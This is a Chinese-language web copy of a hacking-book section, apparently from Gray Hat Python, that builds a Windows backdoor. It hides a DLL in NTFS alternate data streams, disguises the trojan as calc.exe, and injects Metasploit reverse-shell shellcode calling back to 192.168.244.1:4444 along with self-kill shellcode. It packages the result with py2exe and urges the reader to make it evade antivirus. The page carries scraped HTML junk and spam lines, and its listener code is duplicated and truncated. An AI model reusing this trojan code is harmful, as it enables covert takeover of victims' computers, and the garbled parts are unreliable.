<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                ??一站式輕松地調用各大LLM模型接口,支持GPT4、智譜、豆包、星火、月之暗面及文生圖、文生視頻 廣告
                ## 7.2 邪惡的代碼 現在讓我們本著學以致用的目的,用注入搞點好玩的東西。我們將創造一個后門程序, 將它命名為一個系統中正規的程序(比如 calc.exe)。只要用戶執行了 calc.exe,我們的后門 就能獲得系統的控制權。cacl.exe 執行后,就會在執行后門代碼的同時,執行原先的 calc.exe (之前我們的后門命名成 calc.exe,將原來的 cacl.exe 移到別的地方)。當 cacl.exe 執行后, 通過注入,反彈一個 shell 到我們的機器上,最后我們再注入 kill 代碼,殺死前面運行的程 序。 等一等!我們難道不能直接結束 calc.exe 嗎?簡單地說,可以。但是終止進程對于后門 來說是一項很關鍵的技術。比如,你能通過枚舉進程,找出殺毒軟件和防火墻的的進程,然 后簡單的殺死。或者你也能,通過上一章學到的注入技術,在離開前殺死進程。技術不止一 種,選擇合適的是最重要的。 最后我們還會介紹如何將 Python 腳本編譯成一個單獨的 Windows 可執行文件,以及如 何偷偷的加載 DLL。接下來先看看如何將 DLL 隱藏起來。 ### 7.2.1 文件隱藏 我們的后門會做成 DLL 的形式,為了能夠它安全點,得用一些秘密的方法將它藏起來。 我們能夠用捆綁器,將兩個文件(其中包括我們的 DLL)捆綁起來,不過 WE ARE Python Hacer,當然得有點不一樣了。 OS 就是我們最好的老師,NTFS 同樣提供了很多強大而隱秘的技巧,今天我們就用 alternate data streams (ADS)。從 Windows NT 3.1 開始就有了這項技術,目的是為了和蘋果 的系統 Apple heirarchical file system (HFS)進行通訊。ADS 允許硬盤上的一個文件,能夠 將 DLL 儲存在它的流中,然后附加到主進程執行。流就是隱藏的文件,但是能夠被附加到任 何在硬盤上能看得到的文件。 使用流隱藏的文件,不用特殊的工具是看不見的。目前很多安全工具也還不能很好的掃 描 ADS,所以用此逃避追捕是非常理想的。 在一個文件上使用 ADS,很簡單,只要在文件名后附加雙引號,接著跟上我們想隱藏 的文件。 ``` reverser.exe:vncdll.dll ``` 在 這 個 例 子 中 我 們 將 vncdll. dll 附 加 到 reverser.exe 中 。 下 面 寫 個 簡 單 的 腳 本 file_hider.py,就當的讀取文件然后寫入指定文件的 ADS。 ``` #file_hider.py import sys # Read in the DLL fd = open( sys.argv[1], "rb" ) dll_contents = fd.read() fd.close() print "[*] Filesize: %d" % len( dll_contents ) # Now write it out to the ADS fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) fd.write( dll_contents ) fd.close() ``` 很簡單,第一個傳入的參數就是我們想隱藏的 DLL,第二參數就是目標文件。用這個 工具我們就能夠很方便的,通過寫入流的方式,將我們的文件和目標文件結合在一起。 ### 7.2.2 編寫后門 讓我們構建我們的重定向代碼,只要簡單的啟動指定名字的程序就行了。之所以叫執行 重定向,是因為我們將后門的名字命名為 calc.exe 了還將原來的 calc.exe 移動到了別的地方。 當用戶測試執行計算器的時候,就會不經意的執行了我們的后門,后門程序通過重定向代碼, 啟動真正的計算器。用戶會看不到任何邪惡的東西,依舊正常的使用計算器。下面的腳本引 用了第三章的 my_debugger_defines.py,其中包含了創建進程所需要的結構和常量。 ``` #backdoor.py # This library is from Chapter 3 and contains all # the necessary defines for process creation import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) # This is the original executable path_to_exe = "C:\\calc.exe" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId ``` 一樣很簡單,沒有新代碼。接下來讓我們把注入的代碼加到后門中。我們的注入函數能 夠處理代碼注入和 DLL 注入兩種情況;parameter 標志設置為 1,data 變量包含 DLL 路徑, 就能進行 DLL 注入,默認情況下 parameter 設置成 0,就是代碼注入。跟黑的在后面。 ``` #backdoor.py ... def inject( pid, data, parameter = 0 ): # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibra parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) return True ``` 現在我們有了能夠支持兩種注入的代碼。是時候將兩段不同的 shellcode 注入真正的 cacl.exe 進程了,一個 shellcode 反彈 shell 給我們,另一個殺死后門進程。 ``` #backdoor.py ... # Now we have to climb out of the process we are in # and code inject our new process to kill ourselves #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 #Size=287 Encoder=None http://metasploit.com */ connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \ "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" inject( pid, connect_back_shellcode ) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ our_pid = str( kernel32.GetCurrentProcessId() ) process_killer_shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - ( len( our_pid ) ) replace_value = our_pid + ( "\x00" * padding ) replace_string= "\x41" * 4 process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) # Pop the process killing shellcode in inject( our_pid, process_killer_shellcode ) ``` All right!后門程序通計算器(系統的 cacl.exe 有按鈕和數字在上面)的 PID,將 shellcode 注入到進程里,然后通過第二個 shellcode 自我了斷。這個后門綜合了很多不同的技術。每 次重要目標系統中有人運行了計算器(當然你能夠改成別的服務級別的文件,隨系統啟動), 我們就能夠取得機器的控制權。接下來就是鍵盤記錄,嗅探數據包,任何你想干的,都去干 吧!!! 但是在這我們還疏忽了一點,不是每臺機器都安裝了 Python,他們為什么不用 Linux 呢?如果這樣估計我也不用翻譯這本數了,哈!別擔心,我們有 py2exe,它能把 py 文件轉 換成 exe 文件。 ### 7.2.3 py2exe py2exe 是一個非常方便的 Python 庫,能夠將 Python 腳本編譯成完全獨立的 Windows 執行程序。記得在下面的操作都是基于 Windows 平臺,Linux 平臺內置 Python。py2exe 安 裝完成后,你就能夠在腳本中使用他們了。在這之前先看看調用它們。 ``` #setup.py # Backdoor builder from distutils.core import setup import py2exe setup( console=['backdoor.py'], options = {'py2exe':{'bundle_files':1}}, zipfile = None, ) ``` 很好很簡單。仔細看看我們傳入 setup 的函數。第一個,console 是我們要編譯的 Python 腳本。 options 和 zipfile 參數設置為需要打包的 Python DLL 和所有別的依賴的庫。這樣我 們的后門就能在任何沒有安裝 python 的 windlws 系統上使用了。確保 my_debugger_defines.py, backdoor.py, 和 setup.py 文件在相同的目錄下。在命令行下輸入以下命令,編譯腳本。 ``` python setup.py py2exe ``` 在編譯完成后,在目錄下會看到多出兩個目錄,dist 和 build。在 dist 文件夾下可以找到 backdoor.exe。重命名為 calc.exe 拷貝到目標系統,并將目標系統的 calc.exe 從 C:\WINDOWS\system32\ 拷貝到別的 目錄(比如 C:\ folder)。將我們的 calc.exe 復制到 C:\WINDOWS\system32\ 目錄下。現在我們 還需要一個簡單的 shell 接口,用來和反彈回來的 shell 交互,發送命令,接收結果。 ``` #backdoor_shell.py import socket import sys host = "192.168.244.1" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print "[*] Server bound to %s:%d" % ( host , port ) #backdoor_shell.py import socket import sys host = "192.168.244.1" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print "[*] Server bound to %s:%d" % ( host , port ) ``` 這是一個非常就當的 socket 服務器,僅僅是接受一個連接,然后處理一些基礎的讀寫工 作。你可以修改 host 和 port 為自己需要的參數(比如 53, 80 )。先運行服務器進行端口 監聽,然后在遠程的系統(本機也行)上運行 cacl.exe。你會看到彈出了計算器的窗口,同時 你的 Python shell 服務器也會接收到一個連接,開始讀取數據。為了打斷 recv 循環,請按下 CTRL-C 鍵,然后程序提示你輸入命令。這時候就能做很多事情了,比如使用 WIndows shell 內建的命令,比如 dir,cd ,type。每個命令的輸出結果都能夠傳輸回來。現在你擁有了一 個高效的后門。用你的想象力擴展它,讓它更猥瑣,讓它能逃過更多的殺毒的軟件,更隱蔽。 我們的目標就是沒有最壞,只有更壞。用 Python 的好處就是,快速,簡單,可重用。 當你看完這章,你已經學會了 DLL 和代碼注入這兩種非常有用的技術。在今后的滲透 測試或者逆向工程中,你會發現花在這些技能上的精力是值得的。接下來我們會變得更黑, 我們要開始學習如何破壞程序。用 Python,用 Python-based fuzzer,用所有偉大的開源工具。
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看